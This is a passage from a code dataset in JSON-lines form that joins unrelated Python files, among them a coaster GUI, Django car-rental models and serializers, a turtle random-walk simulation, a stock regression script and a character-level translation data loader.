isActivated else \"Deactivated\")\n if new_state == RideState.READY_FOR_DISPATCH:\n if isActivated:\n log.debug(\"Coaster is Ready for Dispatch\")\n self.custom_btn_dispatch.set_attributes(True, False, 'Dispatch') # enabled, not checked\n self.custom_btn_pause.set_attributes(True, False, 'Pause') # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Ready for Dispatch\", \"green\")\n # self.set_button_style(self.ui.btn_pause, True, False, \"Pause\") # enabled, not checked\n else:\n log.debug(\"Coaster at Station but deactivated\")\n self.custom_btn_dispatch.set_attributes(False, False, 'Dispatch') # not enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster at Station but deactivated\", \"orange\")\n # self.custom_btn_pause.set_attributes(True, False, \"Prop Platform\") # enabled, not checked\n\n elif new_state == RideState.RUNNING:\n self.custom_btn_dispatch.set_attributes(False, True, 'Dispatched') # not enabled, checked\n self.custom_btn_pause.set_attributes(True, False, \"Pause\") # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Running\", \"green\") \n elif new_state == RideState.PAUSED:\n self.custom_btn_dispatch.set_attributes(False, True) # not enabled, checked\n self.custom_btn_pause.set_attributes(True, True, \"Continue\") # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is Paused\", \"orange\")\n elif new_state == RideState.EMERGENCY_STOPPED:\n self.custom_btn_dispatch.set_attributes(False, True) # not enabled, checked\n self.custom_btn_pause.set_attributes(False, True, 'E-Stopped') # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Emergency Stop\", \"red\")\n elif new_state == RideState.NON_SIM_MODE:\n self.custom_btn_dispatch.set_attributes(False, True) # not enabled, checked\n self.custom_btn_pause.set_attributes(False, False) # enabled, not checked\n gutil.set_text(self.ui.lbl_coaster_status, \"Coaster is resetting\", \"blue\")\n\n def set_button_style(self, object, is_enabled, is_checked=None, text=None):\n if text != None:\n object.setText(text)\n if is_checked!= None:\n object.setCheckable(True)\n object.setChecked(is_checked)\n if is_enabled != None:\n object.setEnabled(is_enabled)\n ","repo_name":"michaelmargolis/MdxMotionPlatformV3","sub_path":"runtime/agents/nolimits_coaster/nolimits_coaster_gui.py","file_name":"nolimits_coaster_gui.py","file_ext":"py","file_size_in_byte":10309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37876243030","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\npsyclab/display/glumpy_app.py\nVince Enachescu 2019\n\"\"\"\n\n# import numpy as np\n\nfrom functools import partial\n\nfrom glumpy import app\nfrom psyclab.utilities.osc import OSCResponder\n\n\nclass GlumpyApp(OSCResponder):\n \"\"\"\n Template Class to make a basic glumpy powered app, including a built-in\n OSC responder.\n\n \"\"\"\n\n def __init__(self, title='psyclab', width=800, height=800, bg_color=(1, 1, 1, 1), **kwargs):\n\n self.title = title\n self.width = width\n self.height = height\n self.bg_color = bg_color\n self.shapes = {}\n self.window = None\n\n OSCResponder.__init__(self, **kwargs)\n\n def start(self):\n \"\"\" Start the application and run (blocking) \"\"\"\n\n OSCResponder.start(self)\n\n self.window = self.make_window()\n self.make_programs(self.window)\n\n try:\n app.run()\n except Exception as error:\n OSCResponder.stop(self)\n raise error\n\n def make_window(self):\n \"\"\" Create the application window \"\"\"\n\n window = app.Window(title=self.title, width=self.width, height=self.height, color=self.bg_color)\n window.set_handler('on_draw', self.on_draw)\n window.set_handler('on_init', self.on_init)\n window.set_handler('on_resize', self.on_resize)\n window.set_handler('on_close', partial(self.on_close, caller=self.title))\n return window\n\n def make_programs(self, window):\n \"\"\" Initialize the OpenGL shader programs (placeholder function) \"\"\"\n pass\n\n def step(self, dt, **kwargs):\n\n for shape in self.shapes.values():\n shape.update()\n\n def on_init(self):\n return\n\n def on_draw(self, dt):\n \"\"\" Update graphics callback - \"\"\"\n\n self.step(dt)\n\n self.window.clear(color=self.bg_color)\n\n for shape in self.shapes.values():\n shape.draw()\n\n def on_close(self, caller='window'):\n \"\"\" On window close - close responder thread \"\"\"\n\n OSCResponder.stop(self)\n\n def on_resize(self, width, height):\n \"\"\" On window resize \"\"\"\n\n self.width, self.height = width, height\n self.window.clear(color=self.bg_color)\n self.window.swap()\n self.window.clear(color=self.bg_color)\n","repo_name":"venachescu/psyclab","sub_path":"psyclab/display/glumpy_app.py","file_name":"glumpy_app.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"36197575431","text":"from rest_framework import serializers\nfrom .models import Worker, WorkerLink, Team, TeamLink\nfrom accounts.serializers import UserSerializerWithToken\n\n\nclass TeamLinkSerializer(serializers.ModelSerializer):\n class Meta:\n model = TeamLink\n fields = [\"team\", \"label\", \"url\", \"screenshot\", \"created_date\", \"updated_date\"]\n\n\nclass TeamSerializer(serializers.ModelSerializer):\n team_links = TeamLinkSerializer(many=True, read_only=True)\n\n class Meta:\n model = Team\n fields = [\n \"team_name\",\n \"logo\",\n \"team_admin\",\n \"description\",\n \"created_date\",\n \"updated_date\",\n \"team_links\",\n ]\n\n\nclass WorkerLinkSerializer(serializers.ModelSerializer):\n class Meta:\n model = WorkerLink\n fields = [\n \"worker\",\n \"label\",\n \"url\",\n \"screenshot\",\n ]\n\n\nclass WorkerSerializer(serializers.ModelSerializer):\n worker_links = WorkerLinkSerializer(many=True, read_only=True)\n user = UserSerializerWithToken(many=False, read_only=True)\n\n class Meta:\n model = Worker\n fields = [\n \"first_name\",\n \"last_name\",\n \"email\",\n \"phone\",\n \"headshot\",\n \"street\",\n \"city\",\n \"state\",\n \"country\",\n \"availability\",\n \"min_hourly_rate\",\n \"skills\",\n \"headline\",\n \"referred_by\",\n \"references\",\n \"referred_to\",\n \"connections\",\n \"comments\",\n \"sign_up_date\",\n \"updated_date\",\n \"worker_links\",\n \"user\",\n ]\n\n","repo_name":"Junglefuss/copro_profiles_be","sub_path":"copro_profiles/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"13063311622","text":"def luckyStraight(n):\n\n n = str(n)\n left = 0\n right = 0\n\n for i in range(len(n)//2):\n left += int(n[i])\n right += int(n[(len(n)//2)+i])\n\n if left == right:\n return 'LUCKY'\n else:\n return 'READY'\n\nprint(luckyStraight(7755))","repo_name":"mia2628/Python","sub_path":"Algorithm/Implementation/luckyStraight.py","file_name":"luckyStraight.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2325816261","text":"from django.db import models\nfrom smart_selects.db_fields import ChainedForeignKey\nfrom .validators import validate_cedula\nfrom .validators import validate_cc\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.utils.safestring import mark_safe\n\nTIPO_PERSONA = (('F', 'Fisica'), ('J', 'Juridica'))\nTANDAS = (('M', 'Matutina'), ('V', 'Vespertina'), ('N', 'Nocturna'))\n\nclass TipoVehiculo(models.Model):\n descripcion = models.CharField(max_length=100)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n class Meta:\n verbose_name_plural = \"Tipos de vehiculos\" \n\nclass Marca(models.Model):\n descripcion = models.CharField(max_length=100)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n\nclass Modelo(models.Model):\n marca = models.ForeignKey(Marca, on_delete=models.CASCADE)\n descripcion = models.CharField(max_length=100)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n\nclass TipoCombustible(models.Model):\n descripcion = models.CharField(max_length=50)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.descripcion\n class Meta:\n verbose_name_plural = \"Tipos de combustible\" \n\nclass Vehiculo(models.Model):\n descripcion = models.CharField(max_length=200)\n no_chasis = models.CharField(max_length=17)\n no_motor = models.CharField(max_length=9)\n no_placa = models.CharField(max_length=10)\n tipo_vehiculo = models.ForeignKey(TipoVehiculo, on_delete=models.CASCADE)\n marca_vehiculo = models.ForeignKey(Marca, on_delete=models.CASCADE)\n modelo_vehiculo = ChainedForeignKey(\n Modelo,\n chained_field=\"marca_vehiculo\",\n chained_model_field=\"marca\",\n show_all=False\n )\n combustible_vehiculo = models.ForeignKey(TipoCombustible, on_delete=models.CASCADE)\n imagen = models.ImageField(upload_to='img/vehiculos', default='placeholder.jpg')\n estado = models.BooleanField()\n\n def image_tag(self):\n return mark_safe('' % self.imagen.url)\n image_tag.short_description = 'Imagen'\n\n def __str__(self):\n return self.descripcion\n\nclass Cliente(models.Model):\n nombre = models.CharField(max_length=250)\n tipo_persona = models.CharField(max_length=100, choices=TIPO_PERSONA)\n cedula = models.CharField(max_length=13, unique=True, null=False, validators=[validate_cedula])\n tarjeta_credito = models.CharField(max_length=20, null=False, validators=[validate_cc])\n limite_credito = models.DecimalField(max_digits=7, decimal_places=2)\n estado = models.BooleanField()\n\n def __str__(self):\n return self.nombre\n\nclass Empleado(models.Model):\n nombre = models.CharField(max_length=250)\n cedula = models.CharField(max_length=13, unique=True, null=False, validators=[validate_cedula])\n tanda_labor = models.CharField(max_length=100, choices=TANDAS)\n porciento_comision = models.IntegerField(default = 0, \n validators=[MaxValueValidator(100), MinValueValidator(0)])\n fecha_ingreso = models.DateField()\n estado = models.BooleanField()\n\n def __str__(self):\n return self.nombre\n\nclass Inspeccion(models.Model):\n inspeccion_vehiculo = models.ForeignKey(Vehiculo, on_delete=models.CASCADE)\n cliente = models.ForeignKey(Cliente, on_delete=models.CASCADE)\n ralladuras = models.BooleanField()\n porcentaje_combustible = models.IntegerField(default = 0, \n validators=[MaxValueValidator(100), MinValueValidator(0)])\n goma_repuesto = models.BooleanField()\n gato = models.BooleanField()\n roturas_cristal = models.BooleanField()\n goma_uno = models.BooleanField()\n goma_dos = models.BooleanField()\n goma_tres = models.BooleanField()\n goma_cuatro = models.BooleanField()\n inspeccion_fecha = models.DateField(auto_now_add=True)\n inspeccion_empleado = models.ForeignKey(Empleado, on_delete=models.CASCADE)\n estado = models.BooleanField()\n\n class Meta:\n verbose_name_plural = \"Inspecciones\" \n\nclass Renta(models.Model):\n empleado = models.ForeignKey(Empleado, on_delete=models.CASCADE)\n vehiculo = models.ForeignKey(Vehiculo, on_delete=models.CASCADE, limit_choices_to = {\"estado\" : True})\n cliente = models.ForeignKey(Cliente, on_delete=models.CASCADE)\n fecha_renta = models.DateField()\n fecha_devolucion = models.DateField(blank=True, null=True)\n monto_por_dia = models.DecimalField(max_digits=7, decimal_places=2)\n cantidad_dias = models.PositiveIntegerField()\n comentario = models.TextField()\n estado = models.BooleanField()\n\n def __str__(self):\n return str(self.fecha_renta) + self.vehiculo.descripcion\n\n\n def save(self, *args, **kwargs):\n if not self.fecha_devolucion:\n self.vehiculo.estado = False\n else:\n self.vehiculo.estado = True\n self.vehiculo.save()\n return super(Renta, self).save(*args, **kwargs)\n\n\n\n# Create your models here.\n","repo_name":"arkmalcom/Rentcar","sub_path":"rentcar/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30289603750","text":"#!/usr/bin/env python3\n# Program: Random Walk Simulation\n# Author: Darren Trieu Nguyen\n# Version: 0.6\n# Function: To simulate brownian motion\n# Note: Branched from Diffusion Simulation v.0.6\n\nimport turtle\nimport tkinter\nimport time\nimport random\nimport sys\n\n\"\"\" Main class\n\"\"\"\nclass simulation:\n \n \"\"\" Initialization function - Initializes the screen and randomizes the\n turtles\n \"\"\"\n def __init__(self, \n turtleQuantity, \n xMult, \n yMult, \n xBoundInput, \n yBoundInput,\n windDirectionInput,\n windWeightInput):\n\n # Constants (will be able to be manipulated later)\n global xBound\n global yBound\n global windDirection\n global windWeight\n\n xBound = xBoundInput\n yBound = yBoundInput\n windDirection = windDirectionInput\n windWeight = windWeightInput\n\n global radius\n radius = 7\n\n global turtleList\n turtleList = []\n\n # Initializing the screen and background\n window = turtle.Screen()\n window.bgcolor(\"white\")\n window.title(\"Drawing Board\")\n\n # Labeling borders\n turtle.setworldcoordinates(-xBound, -yBound, xBound, yBound)\n\n # Drawing borders\n turtle.tracer(False)\n borderTurtle = turtle.Turtle()\n borderTurtle.hideturtle()\n borderTurtle.penup()\n borderTurtle.setx(-xBound)\n borderTurtle.sety(-yBound)\n borderTurtle.pendown()\n\n borderTurtle.setx(xBound)\n borderTurtle.sety(yBound)\n borderTurtle.setx(-xBound)\n borderTurtle.sety(-yBound)\n\n # Loading turtles\n self.createNTurtles(xMult, yMult, turtleQuantity)\n turtle.update()\n \n simLoop = 1\n while (simLoop == 1):\n try:\n self.boardUpdate()\n except tkinter.TclError:\n pass\n simLoop = 0\n\n try:\n turtle.done()\n turtle.bye()\n except turtle.Terminator:\n pass\n\n \"\"\" Creates a turtle\n \"\"\"\n def createTurtle(self, xMult, yMult):\n turtle1 = turtle.Turtle()\n turtle1.shape(\"circle\")\n turtle1.color(\"blue\")\n turtle1.penup()\n turtle1.setx(random.randint(-100, 100) * xMult)\n turtle1.sety(random.randint(-100, 100) * yMult)\n turtle1.setheading(random.randint(0, 360))\n \n turtleList.append(turtle1)\n\n \"\"\" Create a specific number of turtles\n \"\"\"\n def createNTurtles(self, xMult, yMult, quantity):\n for n in range(1, quantity):\n self.createTurtle(xMult, yMult)\n\n \"\"\" Updates the board\n \"\"\"\n def boardUpdate(self):\n for turtle1 in turtleList:\n turtle1.setheading(self.randomDirection(windDirection, windWeight))\n for turtle2 in turtleList:\n if ((not (turtle1 is turtle2)) \n and self.checkCollision(turtle1, turtle2)):\n self.collisionDirection(turtle1, turtle2)\n if ((self.checkBorderCoords(turtle1.xcor(), \n turtle1.ycor()) == True)):\n self.ricochetDirection(turtle1)\n turtle1.forward(1)\n turtle.update()\n\n \"\"\" Chooses and returns a random direction, factoring in wind direction and\n weights given to the wind\n \"\"\"\n def randomDirection(self, windDirection, weight):\n if (random.randint(0, 100) < weight):\n return random.randint(windDirection - 45, windDirection + 45)\n else:\n return random.randint(0, 360)\n\n \"\"\" Checks to see if a turtle is outside the borders\n Returns True if the turtle is outside the borders\n Returns False otherwise\n \"\"\"\n def checkBorder(self, turtleObject):\n if (((turtleObject.xcor() + radius) >= xBound)\n or ((turtleObject.xcor() - radius) <= -xBound)\n or ((turtleObject.ycor() + radius) >= yBound)\n or ((turtleObject.ycor() - radius) <= -yBound)):\n return True\n else:\n return False\n\n \"\"\" Checks to see if a turtle's planned coordinates causes the turtle\n to overlap with the edge of the screen\n Returns True if the coords are past the border\n Returns False otherwise\n \"\"\"\n def checkBorderCoords(self, xcor, ycor):\n if (((xcor + radius) >= xBound)\n or ((xcor - radius) <= -xBound)\n or ((ycor + radius) >= yBound)\n or ((ycor - radius) <= -yBound)):\n return True\n else:\n return False\n\n \"\"\" Checks to see if a turtle is outside the board completely\n Returns True if the turtle is outside the board completely\n Returns False otherwise\n \"\"\"\n def checkStuck(self, turtleObject):\n if (((turtleObject.xcor() + radius) >= xBound)\n or ((turtleObject.xcor() - radius) <= -xBound)\n or ((turtleObject.ycor() + radius) >= yBound)\n or ((turtleObject.ycor() - radius) <= -yBound)):\n return True\n else:\n return False\n\n \"\"\" Checks to see if a turtle is overlapping with another turtle\n Returns True if a turtle is overlapping with another turtle\n Returns False otherwise\n \"\"\"\n def checkCollision(self, turtle1, turtle2):\n if (((((turtle1.xcor() + radius) >= (turtle2.xcor() - radius))\n and ((turtle1.xcor() - radius) <= (turtle2.xcor() - radius)))\n or (((turtle1.xcor() - radius) <= (turtle2.xcor() + radius))\n and ((turtle1.xcor() + radius) >= (turtle2.xcor() + radius))))\n and ((((turtle1.ycor() + radius) >= (turtle2.ycor() - radius))\n and ((turtle1.ycor() - radius) <= (turtle2.ycor() - radius)))\n or (((turtle1.ycor() - radius) <= (turtle2.ycor() + radius))\n and ((turtle1.ycor() + radius) >= (turtle2.ycor() + radius))))\n ):\n return True\n else:\n return False\n\n \"\"\" Changes direction based off of turtle collision\n \"\"\"\n def collisionDirection(self, turtle1, turtle2):\n turtle1.setheading(turtle1.towards(turtle2.xcor(), \n turtle2.ycor()) + 180)\n turtle2.setheading(turtle2.towards(turtle1.xcor(), \n turtle1.ycor()) + 180)\n\n \"\"\" Changes the direction of a turtle as if it ricocheted off of a wall\n \"\"\"\n def ricochetDirection(self, turtleObject):\n if (turtleObject.xcor() + radius >= xBound):\n turtleObject.setheading(180 - turtleObject.heading())\n if (turtleObject.ycor() + radius >= yBound):\n turtleObject.setheading(360 - turtleObject.heading())\n if (turtleObject.xcor() - radius <= -xBound):\n turtleObject.setheading(180 - turtleObject.heading())\n if (turtleObject.ycor() - radius <= -yBound):\n turtleObject.setheading(360 - turtleObject.heading())\n\n \"\"\" Forces the simulation display closed\n \"\"\"\n def closeSimulation(self):\n turtle.clear()\n turtle.update()\n turtle.bye()\n\n","repo_name":"RenTrieu/RandomWalk","sub_path":"RandomWalkSimulation/randomWalkSimulation.py","file_name":"randomWalkSimulation.py","file_ext":"py","file_size_in_byte":7139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10512798977","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport re\n\ndf=pd.read_csv('wikidata.csv')\n\n\n\n#setting index as date values\n#df['Date']=pd.to_datetime(df.Date,format='%m/%d/%Y')\n#df.index=df['Date']\n\n#sorting\ndata=df.sort_index(ascending=True,axis=0)\nprint(data.dtypes)\n\n#creating a seperate database\n\nnew_data=pd.DataFrame(index=range(0,len(df)),columns=['Date','Close'])\n\nprint(new_data.head())\n\n#Inserting values\nfor i in range(0,len(data)):\n new_data['Date'][i]=data['Date'][i]\n new_data['Close'][i]=data['Close'][i]\n\nprint(new_data.head())\nprint(data.head())\n\n#Create Features\n'''new_data['mon_fri']=0\nfor i in range(0,len(new_data)):\n if(new_data['Dayofweek'][i]==0 or new_data['Dayofweek'][i]==4):\n new_data['mon_fri'][i]=1\n else:\n new_data['mon_fri']=0 '''\n\n\n\n\nfrom sklearn.model_selection import train_test_split\n\nX=new_data['Date']\n#for i in range(0,len(X)):\n # X[i]=str(X[i])\ny=new_data['Close']\nnumber_found=[]\nfor i in range(0,len(X)):\n found=re.findall('/',X[i])\n number_f=re.findall('[0-9]',X[i])\n number_found.append(number_f)\n print(found)\nprint(number_found)\n\nnf_list=[]\nfor i in number_found:\n nf=\"\".join(map(str,i))\n nf_list.append(nf)\nprint(nf_list)\n\nnew_data['Date']=nf_list\nprint(new_data.head())\nprint(new_data.dtypes)\nX=new_data['Date'].head(1322)\ny=new_data['Close'].head(1322)\nX=X.values\ny=y.values\n\nX=X.reshape(661,2)\ny=y.reshape(661,2)\n\nprint(type(X))\nprint(y.shape)\n\n\n\n\n\n\n'''X_arr=np.array(X)\nprint(X_arr)\n\ny_arr=np.array(y)\nprint(y_arr)\n\nX_arr.reshape(661,2)\ny_arr.reshape(661,2)'''\n\n#print(X.head())\n#print(y.head())\n\n\nX_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2)\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\n\nlinreg=LinearRegression()\n\nlinreg.fit(X_train,y_train)\n\ny_pred=linreg.predict(X_test)\n\n\npred=pd.DataFrame({'Date': X_test.flatten(),'Actual': y_test.flatten(),'Predicted':y_pred.flatten()})\nprint(pred)\npred.to_csv('linear_result.csv')\n\npred1=pred.head(25)\npred1.plot(kind='bar',figsize=(16,10))\nplt.xlabel('Close')\nplt.ylabel('Date')\nplt.title('Stock Price Prediction Using Linear Regression')\nplt.grid(which='major',linestyle='-',linewidth='0.5',color='green')\nplt.grid(which='minor',linestyle=':',linewidth='0.5',color='black')\nplt.show()\n\nfrom sklearn import metrics\n\nprint(metrics.mean_absolute_error(y_test,y_pred))\nprint(metrics.mean_squared_error(y_test,y_pred))\nprint(np.sqrt(metrics.mean_squared_error(y_test,y_pred)))\n\n\n\n\n","repo_name":"PritamU/Stock-Price-Prediction","sub_path":"stock_linear.py","file_name":"stock_linear.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31647053068","text":"import os\nfrom os import listdir\nfrom os.path import isfile, join\nfrom tqdm import tqdm\nimport numpy as np\nimport cPickle as pickle\nimport json\n\nclass Data_Loader:\n def __init__(self, options, split='train', vocab=None, cache=None):\n if options['model_type'] == 'translation':\n source_file = options['source_file'] + '.' + split\n target_file = options['target_file'] + '.' + split\n\n self.max_sentences = None\n if 'max_sentences' in options:\n self.max_sentences = options['max_sentences']\n\n with open(source_file) as f:\n self.source_lines = f.read().decode(\"utf-8\", errors='ignore').split('\\n')\n # for temporally covering error in inference_translation.py\n with open(target_file) as f:\n self.target_lines = f.read().decode(\"utf-8\", errors='ignore').split('\\n')\n\n\n if self.max_sentences:\n self.source_lines = self.source_lines[0:self.max_sentences]\n self.target_lines = self.target_lines[0:self.max_sentences]\n\n #print(\"Source Sentences\", len(self.source_lines))\n #print(\"Target Sentences\", len(self.target_lines))\n\n self.bucket_quant = options['bucket_quant']\n if split == \"train\":\n self.source_vocab = self.build_vocab(self.source_lines)\n self.target_vocab = self.build_vocab(self.target_lines)\n else:\n '''\n if vocab is None:\n raise Exception(\"split={}: need vocab from training data\"\n % split)\n with open(join(vocab, \"source_vocab.pkl\"), \"rb\") as f:\n self.source_vocab = pickle.load(f)\n with open(join(vocab, \"target_vocab.pkl\"), \"rb\") as f:\n self.target_vocab = pickle.load(f)\n '''\n pass\n\n\n #print(\"SOURCE VOCAB SIZE\", len(self.source_vocab))\n #print(\"TARGET VOCAB SIZE\", len(self.target_vocab))\n \n elif options['model_type'] == 'generator':\n dir_name = options['dir_name']\n files = [ join(dir_name, f) for f in listdir(dir_name) if isfile(join(dir_name, f)) ]\n\n text = []\n \n # construct same vocab set both for train/valid data\n if vocab == None:\n print('There is no vocab file. Construct it from scratch.')\n for f in files:\n text += list(open(f).read())\n\n vocab = {ch : True for ch in text}\n\n # If there is vocab cache, load it only!\n elif type(vocab) == str:\n print('Loading presaved vocab file | {}'.format(vocab))\n vocab = pickle.load(open(vocab))\n\n else:\n for f in files:\n text += list(open(f).read())\n\n\n self.vocab = vocab\n\t\t\n print(\"Bool vocab\", len(vocab))\n self.vocab_list = [ch for ch in vocab]\n print(\"vocab list\", len(self.vocab_list))\n self.vocab_indexed = {ch : i for i, ch in enumerate(self.vocab_list)}\n print(\"vocab_indexed\", len(self.vocab_indexed))\n\n if cache:\n print('text cache file [{}] is started to load...'.format(cache))\n self.text = np.load(cache)\n print('text cache file [{}] is loaded.'.format(cache))\n\n else:\n for index, item in enumerate(text):\n text[index] = self.vocab_indexed[item]\n self.text = np.array(text, dtype='int32')\n \n elif options['model_type'] == 'classifier':\n text, rating = [], []\n\n fname = options['review_file'] + '.{}'.format(split)\n\n if not vocab: vocab_scratch = {'

': 0}\n \n with open(fname) as f:\n while True:\n line = f.readline()\n if not line: break\n review = json.loads(line)\n\n if not vocab:\n for ch in review['text'].replace('\\n', ''):\n if ch in vocab_scratch: continue\n else: vocab_scratch[ch] = len(vocab_scratch)\n\n # make polarity\n if int(review['stars']) > 3:\n rating.append(1)\n elif int(review['stars']) < 3:\n rating.append(0)\n else: continue\n\n text.append( self.string_to_indices(review['text'].replace('\\n', ''), vocab_scratch, pad=options['seq_len']) )\n\n self.text = np.array(text, dtype='int32')\n self.rating = np.array(rating, dtype='int32')\n self.vocab = vocab_scratch\n\n def load_generator_data(self, sample_size):\n text = self.text\n mod_size = len(text) - len(text)%sample_size\n text = text[0:mod_size]\n text = text.reshape(-1, sample_size)\n return text, self.vocab_indexed\n\n\n def load_translation_data(self):\n source_lines = []\n target_lines = []\n for i in range(len(self.source_lines)):\n source_lines.append( self.string_to_indices(self.source_lines[i], self.source_vocab) )\n target_lines.append( self.string_to_indices(self.target_lines[i], self.target_vocab) )\n\n buckets = self.create_buckets(source_lines, target_lines)\n\n # frequent_keys = [ (-len(buckets[key]), key) for key in buckets ]\n # frequent_keys.sort()\n\n # print \"Source\", self.inidices_to_string( buckets[ frequent_keys[3][1] ][5][0], self.source_vocab)\n # print \"Target\", self.inidices_to_string( buckets[ frequent_keys[3][1] ][5][1], self.target_vocab)\n \n return buckets, self.source_vocab, self.target_vocab\n\n def load_classifier_data(self):\n return self.text, self.rating, self.vocab\n \n\n def create_buckets(self, source_lines, target_lines):\n \n bucket_quant = self.bucket_quant\n source_vocab = self.source_vocab\n target_vocab = self.target_vocab\n\n buckets = {}\n for i in xrange(len(source_lines)):\n \n # source = source + \n # target = + target + \n source_lines[i] = np.concatenate( (source_lines[i], [source_vocab['eol']]) )\n target_lines[i] = np.concatenate( ([target_vocab['init']], target_lines[i], [target_vocab['eol']]) )\n \n sl = len(source_lines[i])\n tl = len(target_lines[i])\n\n new_length = max(sl, tl)\n\n # fitting new_length to neareast upperbound of bucket_quant\n # e.g. bucket_quant=50 -> new_length = 50, 100, 150, ...\n\n if new_length % bucket_quant > 0:\n new_length = ((new_length/bucket_quant) + 1 ) * bucket_quant \n \n s_padding = np.array( [source_vocab['padding'] for ctr in xrange(sl, new_length) ] )\n\n # NEED EXTRA PADDING FOR TRAINING.. \n t_padding = np.array( [target_vocab['padding'] for ctr in xrange(tl, new_length + 1) ] )\n\n source_lines[i] = np.concatenate( [ source_lines[i], s_padding ] )\n target_lines[i] = np.concatenate( [ target_lines[i], t_padding ] )\n\n if new_length in buckets:\n buckets[new_length].append( (source_lines[i], target_lines[i]) )\n else:\n buckets[new_length] = [(source_lines[i], target_lines[i])]\n\n #if i%100000 == 0 and i > 0:\n # print(\"Loading\", i)\n \n return buckets\n\n\n def create_buckets_only_src(self, source_lines):\n \n bucket_quant = self.bucket_quant\n source_vocab = self.source_vocab\n\n buckets = {}\n for i in xrange(len(source_lines)):\n \n # source = source + \n # target = + target + \n source_lines[i] = np.concatenate( (source_lines[i], [source_vocab['eol']]) )\n \n sl = len(source_lines[i])\n new_length = sl\n\n # fitting new_length to neareast upperbound of bucket_quant\n # e.g. bucket_quant=50 -> new_length = 50, 100, 150, ...\n if new_length % bucket_quant > 0:\n new_length = ((new_length/bucket_quant) + 1 ) * bucket_quant \n \n s_padding = np.array( [source_vocab['padding'] for ctr in xrange(sl, new_length) ] )\n\n source_lines[i] = np.concatenate( [ source_lines[i], s_padding ] )\n\n if new_length in buckets:\n buckets[new_length].append( source_lines[i] )\n else:\n buckets[new_length] = [ source_lines[i] ]\n\n \n return buckets\n\n\n def build_vocab(self, sentences):\n vocab = {}\n ctr = 0\n for st in sentences:\n for ch in st:\n if ch not in vocab:\n vocab[ch] = ctr\n ctr += 1\n\n # SOME SPECIAL CHARACTERS\n vocab['eol'] = ctr # end of line\n vocab['padding'] = ctr + 1 # padding\n vocab['init'] = ctr + 2 # init\n\n return vocab\n\n def string_to_indices(self, sentence, vocab, pad=-1):\n indices = []\n for s in sentence:\n try: indices.append(vocab[s])\n except: pass\n #indices = [ vocab[s] for s in sentence ]\n\n if pad > -1:\n if len(indices) > pad:\n indices = indices[:pad]\n else:\n padding = [ vocab['

'] for _ in xrange(len(indices), pad) ]\n indices.extend(padding)\n \n return indices\n\n def inidices_to_string(self, sentence, vocab):\n id_ch = { vocab[ch] : ch for ch in vocab } \n sent = []\n for c in sentence:\n if id_ch[c] == 'eol':\n break\n sent += id_ch[c]\n\n return \"\".join(sent)\n\n def get_batch_from_pairs(self, pair_list):\n source_sentences = []\n target_sentences = []\n for s, t in pair_list:\n source_sentences.append(s)\n target_sentences.append(t)\n\n return np.array(source_sentences, dtype = 'int32'), np.array(target_sentences, dtype = 'int32'), pair_list\n\n\ndef main():\n # FOR TESTING ONLY\n trans_options = {\n 'model_type' : 'translation',\n 'source_file' : 'Data/translator_training_data/news-commentary-v9.fr-en.en',\n 'target_file' : 'Data/translator_training_data/news-commentary-v9.fr-en.fr',\n 'bucket_quant' : 25,\n }\n gen_options = {\n 'model_type' : 'generator', \n 'dir_name' : 'Data',\n }\n\n dl = Data_Loader(trans_options)\n buckets, source_vocab, target_vocab = dl.load_translation_data()\n from IPython import embed; embed()\n\nif __name__ == '__main__':\n main()\n","repo_name":"seilna/CNN-Units-in-NLP","sub_path":"code/models/bytenet/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":10904,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"72"} +{"seq_id":"29464741965","text":"from flask import json\nfrom nose.tools import eq_\nfrom server import app\n\nclient = app.test_client()\n\n\ndef test_hello_world():\n # When: I access root path\n resp = client.get('/')\n\n # Then: Expected response is returned\n eq_(resp.status_code, 200)\n eq_(resp.headers['Content-Type'], 'application/json')\n data = json.loads(resp.data.decode())\n eq_(data['message'].startswith('Hello'), True)\n","repo_name":"totem/totem-demo","sub_path":"tests/unit/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"38065758908","text":"from pytest import Item\nfrom .testomat_item import TestomatItem\nfrom .testItem import TestItem\nfrom .decorator_updater import update_tests\nfrom .code_collector import get_functions_source_by_name\n\n\ndef collect_tests(items: list[Item]):\n meta: list[TestItem] = list()\n test_files: set = set()\n test_names: list = list()\n parameter_filter: set[Item] = set()\n for item in items:\n if item.function not in parameter_filter:\n parameter_filter.add(item.function)\n ti = TestItem(item)\n test_files.add(ti.abs_path)\n test_names.append(ti.title)\n meta.append(ti)\n\n for 